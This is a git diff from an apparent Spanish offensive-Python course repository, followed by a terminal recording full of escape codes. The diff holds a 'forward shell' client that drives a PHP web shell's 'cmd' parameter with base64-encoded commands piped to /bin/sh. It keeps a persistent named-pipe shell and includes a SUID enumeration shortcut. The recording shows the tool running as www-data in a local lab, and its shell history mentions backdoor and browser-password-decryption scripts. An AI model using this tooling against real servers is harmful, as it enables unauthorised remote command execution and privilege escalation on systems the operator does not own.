Compare commits
No commits in common. "d7252c6782d4eab1eb48f3db0ecbd3d1d3f46a5a" and "5d7e3302c5feae15c030a6190ef809f0ca047d30" have entirely different histories.
d7252c6782
...
5d7e3302c5
@ -11,32 +11,24 @@ mkfifo input; tail -f input | /bin/sh 2>&1 > output
|
||||
"""
|
||||
|
||||
import requests
|
||||
import time
|
||||
import signal
|
||||
import sys
|
||||
|
||||
from termcolor import colored
|
||||
from base64 import b64encode
|
||||
from random import randrange
|
||||
|
||||
def def_handler(sig, frame):
|
||||
|
||||
print(colored("\n[!] Exiting...", "blue"))
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
class ForwardShell:
|
||||
signal.signal(signal.SIGINT, def_handler)
|
||||
|
||||
def __init__(self):
|
||||
main_url = "http://localhost/index.php"
|
||||
|
||||
session = randrange(100000, 999999)
|
||||
|
||||
self.main_url = "http://localhost/index.php"
|
||||
|
||||
self.stdin = f"/dev/shm/{session}.input"
|
||||
self.stdout = f"/dev/shm/{session}.output"
|
||||
|
||||
self.help_options = {
|
||||
'enum suid': 'FileSystem SUID Privileges Enumeration',
|
||||
'help': 'Show this help panel',
|
||||
}
|
||||
|
||||
self.is_pseudo_terminal = False
|
||||
|
||||
def run_command(self, command):
|
||||
def run_command(command):
|
||||
|
||||
command = b64encode(command.encode()).decode()
|
||||
|
||||
@ -44,112 +36,16 @@ class ForwardShell:
|
||||
'cmd': 'echo "%s" | base64 -d | /bin/sh' % command
|
||||
}
|
||||
|
||||
try:
|
||||
r = requests.get(self.main_url, params=data, timeout=5)
|
||||
r = requests.get(main_url, params=data)
|
||||
|
||||
return r.text
|
||||
|
||||
except:
|
||||
pass
|
||||
|
||||
return None
|
||||
|
||||
def write_stdin(self, command):
|
||||
|
||||
command = b64encode(command.encode()).decode()
|
||||
|
||||
data = {
|
||||
'cmd': 'echo "%s" | base64 -d > %s' % (command, self.stdin)
|
||||
}
|
||||
|
||||
r = requests.get(self.main_url, params=data)
|
||||
|
||||
def read_stdout(self):
|
||||
|
||||
for _ in range(5):
|
||||
|
||||
read_stdout_command = f"/bin/cat {self.stdout}"
|
||||
output_command = self.run_command(read_stdout_command)
|
||||
time.sleep(0.2)
|
||||
|
||||
return output_command
|
||||
|
||||
def setup_shell(self):
|
||||
|
||||
command = f"mkfifo {self.stdin}; tail -f {self.stdin} | /bin/sh 2>&1 > {self.stdout}"
|
||||
self.run_command(command)
|
||||
|
||||
def remove_data(self):
|
||||
|
||||
remove_data_command = f"/bin/rm {self.stdin} {self.stdout}"
|
||||
self.run_command(remove_data_command)
|
||||
|
||||
def clear_stdout(self):
|
||||
|
||||
clear_stdout_command = f"echo '' > {self.stdout}"
|
||||
self.run_command(clear_stdout_command)
|
||||
|
||||
def run(self) -> None:
|
||||
|
||||
self.setup_shell()
|
||||
if __name__ == '__main__':
|
||||
|
||||
while True:
|
||||
|
||||
command = input(colored("> ", "yellow"))
|
||||
|
||||
if "script /dev/null -c bash" in command:
|
||||
|
||||
print(
|
||||
colored("[+] Se ha iniciado una pseudo-terminal", "blue"))
|
||||
self.is_pseudo_terminal = True
|
||||
|
||||
|
||||
if command.strip() == "enum suid":
|
||||
|
||||
command = f"find / -perm -4000 2>/dev/null | xargs ls -l"
|
||||
|
||||
if command.strip() == "help":
|
||||
|
||||
print(colored(f"\n[+] Listando panel de ayuda:\n", "blue"))
|
||||
|
||||
for key, value in self.help_options.items():
|
||||
print(f"\t{key} - {value}")
|
||||
|
||||
continue
|
||||
|
||||
self.write_stdin(command + "\n")
|
||||
|
||||
output_command = self.read_stdout()
|
||||
|
||||
if command.strip() == "exit":
|
||||
|
||||
self.is_pseudo_terminal = False
|
||||
print(colored("[+] Se ha cerrado la pseudo-terminal", "blue"))
|
||||
|
||||
self.clear_stdout()
|
||||
continue
|
||||
|
||||
|
||||
if self.is_pseudo_terminal:
|
||||
lines = output_command.split("\n")
|
||||
|
||||
if len(lines) == 1:
|
||||
|
||||
cleared_output = '\n'.join([lines[-1]] + lines[:1])
|
||||
|
||||
elif len(lines) > 1:
|
||||
|
||||
cleared_output = '\n'.join(
|
||||
[lines[-1]] + lines[:1] + lines[2:-1])
|
||||
|
||||
else:
|
||||
print(len(lines))
|
||||
print(lines)
|
||||
|
||||
print(cleared_output + "\n")
|
||||
|
||||
else:
|
||||
output_command = run_command(command)
|
||||
|
||||
print(output_command)
|
||||
|
||||
self.clear_stdout()
|
||||
|
@ -1,29 +0,0 @@
|
||||
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Fichero principal de la aplicación.
|
||||
"""
|
||||
|
||||
import signal
|
||||
import sys
|
||||
|
||||
from forwardshell import ForwardShell
|
||||
from termcolor import colored
|
||||
|
||||
|
||||
def def_handler(sig, frame) -> None:
|
||||
|
||||
print(colored("\n[!] Exiting...", "blue"))
|
||||
|
||||
my_forward_shell.remove_data()
|
||||
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
signal.signal(signal.SIGINT, def_handler)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
my_forward_shell = ForwardShell()
|
||||
my_forward_shell.run()
|
169
python-ofensivo/15_hacking/12_fs/typescript
Normal file
169
python-ofensivo/15_hacking/12_fs/typescript
Normal file
@ -0,0 +1,169 @@
|
||||
Script started on 2024-02-02 18:20:04+01:00 [TERM="xterm-256color" TTY="/dev/pts/1" COLUMNS="106" LINES="53"]
|
||||
[0m[49m[39m[27m[24m
[K
|
||||
|
||||
[2A7[0m[49m[39m[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m[1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/Documents/projectes/git/personal/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/python-ofensivo/15_hacking/[1m[38;5;31m[38;5;39m12_fs[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;66m[39mat [0m[49m[38;5;66m⚡ 18:20:04[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;76m❯[0m[38;5;76m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[39m[?2004h[?25l8[0m[49m[39m[27m[24m[J]2;v@victus:~/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs]1;..hacking/12_fs]7;file://victus/home/v/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs\[0m[38;5;31m[49m[39m[27m[24m[1m[7m%[27m[1m[0m
[0m[49m[39m[27m[24m[K
[0m[27m[24m[J[0m[49m[39m
|
||||
[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m[1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[38;5;103mgi[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/python-ofensivo/15_hacking/[1m[38;5;31m[38;5;39m12_fs[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m [0m[38;5;31m[49m[38;5;76m[39mon [0m[49m[38;5;76m[38;5;76m☕️ main [38;5;39m?1[0m[38;5;39m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;39m 🔒 ES[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;66m [39mat [0m[49m[38;5;66m⚡ 18:20:04[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;76m❯[0m[38;5;76m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[103C[0m[49m[39m[103D[?1h=[?25h[?2004h[?25l
[A[0m[27m[24m[J[0m[49m[39m
|
||||
[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m[1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[38;5;103mgi[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/python-ofensivo/15_hacking/[1m[38;5;31m[38;5;39m12_fs[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m [0m[38;5;31m[49m[38;5;76m[39mon [0m[49m[38;5;76m[38;5;76m☕️ main [38;5;39m?1[0m[38;5;39m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;39m 🔒 ES[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;81m vpn[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;66m [39mat [0m[49m[38;5;66m⚡ 18:20:04[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;76m❯[0m[38;5;76m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[87C[0m[49m[38;5;38m🏠 192.168.1.115[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[39m[103D[?25h[?25l
[A[0m[27m[24m[J[0m[49m[39m
|
||||
[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m[1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[38;5;103mgi[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/python-ofensivo/15_hacking/[1m[38;5;31m[38;5;39m12_fs[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m [0m[38;5;31m[49m[38;5;76m[39mon [0m[49m[38;5;76m[38;5;76m☕️ main [38;5;39m?1[0m[38;5;39m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;39m 🔒 ES[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;81m vpn[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;66m [39mat [0m[49m[38;5;66m⚡ 18:20:04[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;76m❯[0m[38;5;76m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[70C[0m[49m[38;5;38m🏠 192.168.1.115[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;94m 📡 192.145.39.55[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[39m[103D[?25h[32mscript[39m[4m[32ms[4m[32mc[4m[32mr[4m[32mi[4m[32mp[4m[32mt[4m[32m/[24m[39m[?1l>[?25l[?2004l
[A[0m[27m[24m[J[0m[49m[27m[24m[38;5;76m❯[0m[38;5;76m[49m[39m[27m[24m [4m[32mscript/[24m[39m[K[?25h
|
||||
]2;script/]1;script/[1m[7m%[27m[1m[0m
]2;v@victus:~/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script]1;../12_fs/script]7;file://victus/home/v/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script\
[0m[27m[24m[J[0m[49m[39m
|
||||
[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m[1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[38;5;103mgi[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/[38;5;103mpython-o[0m[38;5;103m[49m[38;5;31m/15_hacking/12_fs/[1m[38;5;31m[38;5;39mscript[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m [0m[38;5;31m[49m[38;5;76m[39mon [0m[49m[38;5;76m[38;5;76m☕️ main [38;5;39m?1[0m[38;5;39m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;39m 🔒 ES[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;81m vpn[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;66m [39mat [0m[49m[38;5;66m⚡ 18:20:09[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;76m❯[0m[38;5;76m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[70C[0m[49m[38;5;38m🏠 192.168.1.115[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;94m 📡 192.145.39.55[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[39m[103D[?1h=[?2004h[1m[30m#[0m[39m[1m[30m#[1m[30m![0m[39m[1m[30m#[1m[30m![1m[30m/[0m[39m[1m[30m/[1m[30mu[0m[39m[1m[30mu[1m[30ms[0m[39m[1m[30ms[1m[30mr[0m[39m[1m[30mr[1m[30m/[0m[39m[1m[30m/[1m[30mb[0m[39m[1m[30mb[1m[30mi[0m[39m[1m[30mi[1m[30mn[0m[39m[1m[30mn[1m[30m/[0m[39m[1m[30m/[1m[30me[0m[39m[1m[30me[1m[30mn[0m[39m[1m[30mn[1m[30mv[0m[39m[1m[30mv[1m[30m [0m[39m[1m[30m [1m[30mp[0m[39m[1m[30mp[1m[30my[0m[39m[1m[30my[1m[30mt[0m[39m[1m[30mt[1m[30mh[0m[39m[1m[30mh[1m[30mo[0m[39m[1m[30mo[1m[30mn[0m[39m[1m[30mn[1m[30m3[0m[39m[?1l>[?25l[?2004l
[A[0m[27m[24m[J[0m[49m[27m[24m[38;5;76m❯[0m[38;5;76m[49m[39m[27m[24m [1m[30m#!/usr/bin/env python3[0m[39m[K[?25h
|
||||
[1m[7m%[27m[1m[0m
]2;v@victus:~/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script]1;../12_fs/script]7;file://victus/home/v/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script\
[0m[27m[24m[J[0m[49m[39m
|
||||
[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m[1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[38;5;103mgi[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/[38;5;103mpython-o[0m[38;5;103m[49m[38;5;31m/15_hacking/12_fs/[1m[38;5;31m[38;5;39mscript[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m [0m[38;5;31m[49m[38;5;76m[39mon [0m[49m[38;5;76m[38;5;76m☕️ main [38;5;39m?1[0m[38;5;39m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;39m 🔒 ES[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;81m vpn[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;66m [39mat [0m[49m[38;5;66m⚡ 18:20:30[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;76m❯[0m[38;5;76m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[70C[0m[49m[38;5;38m🏠 192.168.1.115[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;94m 📡 192.145.39.55[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[39m[103D[?1h=[?2004h[1m[31mc[0m[39m[1m[31mc[0m[39m[90murl -s -X GET 'http://localhost/' -G --data-urlencode 'cmd=cat /etc/resolv.conf 2>&1'[39m[K[85D[1m[31mc[1m[31mo[0m[39m[K[68C[0m[49m[38;5;38m🏠 192.168.1.115[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;94m 📡 192.145.39.55[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[39m[101D[90mde index.html[39m[13D[1m[31mc[1m[31mo[1m[31md[0m[39m[1m[31md[1m[31md[0m[39m[39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [11D[1m[31md[0m[39m[0m[39m [90me index.html[39m[12D[0m[32mc[0m[32mo[0m[32md[32me[39m[39m [39mf[39m [39m [39m [39m [39m [39m [39m [39m [39m [9D[90mirmaMail-Prefapp.html[39m[21D[39mo[39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [20Drwat rdshell.py[?1l>[?25l[?2004l
[A[0m[27m[24m[J[0m[49m[27m[24m[38;5;76m❯[0m[38;5;76m[49m[39m[27m[24m [32mcode[39m forwardshell.py[K[?25h
|
||||
]2;code forwardshell.py]1;code[1m[7m%[27m[1m[0m
]2;v@victus:~/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script]1;../12_fs/script]7;file://victus/home/v/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script\
[0m[27m[24m[J[0m[49m[39m
|
||||
[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m[1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[38;5;103mgi[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/[38;5;103mpython-o[0m[38;5;103m[49m[38;5;31m/15_hacking/12_fs/[1m[38;5;31m[38;5;39mscript[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m [0m[38;5;31m[49m[38;5;76m[39mon [0m[49m[38;5;76m[38;5;76m☕️ main [38;5;39m?1[0m[38;5;39m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;39m 🔒 ES[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;81m vpn[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;66m [39mat [0m[49m[38;5;66m⚡ 18:20:44[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;76m❯[0m[38;5;76m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[70C[0m[49m[38;5;38m🏠 192.168.1.115[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;94m 📡 192.145.39.55[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[39m[103D[?1h=[?2004h[1m[31mp[0m[39m[1m[31mp[0m[39m[90myinstaller --noconsole --onefile backdoor.py[39m[44D[0m[32mp[32my[39m[39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [42D[90mlistener.py[39m[11D[39m[4mf[24m[39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [10D[90mirefox_decrypt.py[39m[17D[4mf[39m[4mo[24m[39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [16D[4mo[4mr[24m[4mr[4mwardshell.py[24m[1m [0m[0m [?1l>[?25l[?2004l
[A[0m[27m[24m[J[0m[49m[27m[24m[38;5;76m❯[0m[38;5;76m[49m[39m[27m[24m [32mpy[39m [4mforwardshell.py[24m[K[?25h
|
||||
]2;python3 forwardshell.py]1;pywww-data
|
||||
|
||||
[1m[7m%[27m[1m[0m
]2;v@victus:~/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script]1;../12_fs/script]7;file://victus/home/v/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script\
[0m[27m[24m[J[0m[49m[39m
|
||||
[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m[1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[38;5;103mgi[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/[38;5;103mpython-o[0m[38;5;103m[49m[38;5;31m/15_hacking/12_fs/[1m[38;5;31m[38;5;39mscript[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m [0m[38;5;31m[49m[38;5;76m[39mon [0m[49m[38;5;76m[38;5;76m☕️ main [38;5;39m?1[0m[38;5;39m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;39m 🔒 ES[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;81m vpn[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;66m [39mat [0m[49m[38;5;66m⚡ 18:23:42[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;76m❯[0m[38;5;76m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[70C[0m[49m[38;5;38m🏠 192.168.1.115[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;94m 📡 192.145.39.55[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[39m[103D[?1h=[?2004h[32mpy[39m [4mforwardshell.py[24m[?1l>[?25l[?2004l
[A[0m[27m[24m[J[0m[49m[27m[24m[38;5;76m❯[0m[38;5;76m[49m[39m[27m[24m [32mpy[39m [4mforwardshell.py[24m[K[?25h
|
||||
]2;python3 forwardshell.py]1;py> cat
|
||||
|
||||
/
|
||||
^CTraceback (most recent call last):
|
||||
File "/home/v/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script/forwardshell.py", line 23, in <module>
|
||||
output_command = run_command(command)
|
||||
File "/home/v/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script/forwardshell.py", line 14, in run_command
|
||||
r = requests.get(main_url, params=data)
|
||||
File "/home/v/.local/lib/python3.10/site-packages/requests/api.py", line 73, in get
|
||||
return request("get", url, params=params, **kwargs)
|
||||
File "/home/v/.local/lib/python3.10/site-packages/requests/api.py", line 59, in request
|
||||
return session.request(method=method, url=url, **kwargs)
|
||||
File "/home/v/.local/lib/python3.10/site-packages/requests/sessions.py", line 587, in request
|
||||
resp = self.send(prep, **send_kwargs)
|
||||
File "/home/v/.local/lib/python3.10/site-packages/requests/sessions.py", line 701, in send
|
||||
r = adapter.send(request, **kwargs)
|
||||
File "/home/v/.local/lib/python3.10/site-packages/requests/adapters.py", line 489, in send
|
||||
resp = conn.urlopen(
|
||||
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 700, in urlopen
|
||||
httplib_response = self._make_request(
|
||||
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 446, in _make_request
|
||||
six.raise_from(e, None)
|
||||
File "<string>", line 3, in raise_from
|
||||
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 441, in _make_request
|
||||
httplib_response = conn.getresponse()
|
||||
File "/usr/lib/python3.10/http/client.py", line 1375, in getresponse
|
||||
response.begin()
|
||||
File "/usr/lib/python3.10/http/client.py", line 318, in begin
|
||||
version, status, reason = self._read_status()
|
||||
File "/usr/lib/python3.10/http/client.py", line 279, in _read_status
|
||||
line = str(self.fp.readline(_MAXLINE + 1), "iso-8859-1")
|
||||
File "/usr/lib/python3.10/socket.py", line 705, in readinto
|
||||
return self._sock.recv_into(b)
|
||||
KeyboardInterrupt
|
||||
|
||||
[1m[7m%[27m[1m[0m
]2;v@victus:~/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script]1;../12_fs/script]7;file://victus/home/v/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script\
[0m[27m[24m[J[0m[49m[39m
|
||||
[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m[1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[38;5;103mgi[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/[38;5;103mpython-o[0m[38;5;103m[49m[38;5;31m/[38;5;103m15[0m[38;5;103m[49m[38;5;31m/[38;5;103m12[0m[38;5;103m[49m[38;5;31m/[1m[38;5;31m[38;5;39mscript[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m [0m[38;5;31m[49m[38;5;76m[39mon [0m[49m[38;5;76m[38;5;76m☕️ main [38;5;39m?1[0m[38;5;39m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m
|
||||
[0m[49m[38;5;196m❯[0m[38;5;196m[49m[38;5;196m[0m[38;5;196m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[70C[0m[49m[38;5;38m🏠 192.168.1.115[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;94m 📡 192.145.39.55[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[39m[103D[?1h=[?2004h[32mpy[39m [4mforwardshell.py[24m[?1l>[?25l[?2004l
[A[0m[27m[24m[J[0m[49m[27m[24m[38;5;196m❯[0m[38;5;196m[49m[39m[27m[24m [32mpy[39m [4mforwardshell.py[24m[K[?25h
|
||||
]2;python3 forwardshell.py]1;py[33m> [0mwhoami
|
||||
www-data
|
||||
|
||||
[33m> [0mcat /etc/hosts
|
||||
127.0.0.1 localhost
|
||||
::1 localhost ip6-localhost ip6-loopback
|
||||
fe00::0 ip6-localnet
|
||||
ff00::0 ip6-mcastprefix
|
||||
ff02::1 ip6-allnodes
|
||||
ff02::2 ip6-allrouters
|
||||
172.17.0.2 2f2f81768a05
|
||||
|
||||
[33m> [0mpwd
|
||||
/var/www/html
|
||||
|
||||
[33m> [0m^C[34m
|
||||
[!] Exiting...[0m
|
||||
[1m[7m%[27m[1m[0m
]2;v@victus:~/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script]1;../12_fs/script]7;file://victus/home/v/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script\
[0m[27m[24m[J[0m[49m[39m
|
||||
